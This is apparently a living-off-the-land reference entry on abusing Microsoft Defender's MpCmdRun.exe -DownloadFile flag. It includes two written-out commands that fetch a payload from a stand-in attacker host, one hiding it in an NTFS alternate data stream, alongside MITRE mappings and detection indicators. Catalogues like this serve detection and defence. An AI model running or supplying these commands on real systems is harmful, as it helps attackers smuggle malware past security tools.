MpCmdRun.exe

Microsoft Defender's command-line utility (MpCmdRun.exe) downloads an arbitrary URL to disk with -DownloadFile (slashes or dashes both work), and can drop the file straight into an NTFS Alternate Data Stream. It is a signed AV binary, so the transfer blends in. Microsoft removed the flag in newer builds, but older platform copies remain abusable.

Use Download a payload (optionally hidden in an ADS) using the trusted Defender binary itself.

MpCmdRun.exe -DownloadFile -url https://attacker.example/x.exe -path C:\Windows\Temp\x.exe
MpCmdRun.exe -DownloadFile -url https://attacker.example/x.exe -path C:\Windows\Temp\x.exe:evil.exe

Context

user

Native

Download, ADS

MITRE

T1105T1564.004

Detection

Detection: MpCmdRun.exe with -DownloadFile/-url/-path; MpCmdRun.exe launched from a non-Defender directory or by an unexpected parent; network egress from MpCmdRun.exe to non-Microsoft hosts; -path containing ':' (ADS).

Verified

✓ LOLBAS MpCmdRun.yml quotes `-DownloadFile -url {REMOTEURL:.exe} -path {PATH:.exe}` (T1105, slashes/dashes both work) and the `-path {PATH}:evil.exe` ADS variant (T1564.004); match.

Refs

github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/MpCmdRun.yml

www.bleepingcomputer.com/news/microsoft/microsoft-defender-can-ironically-be-used-to-download-malware/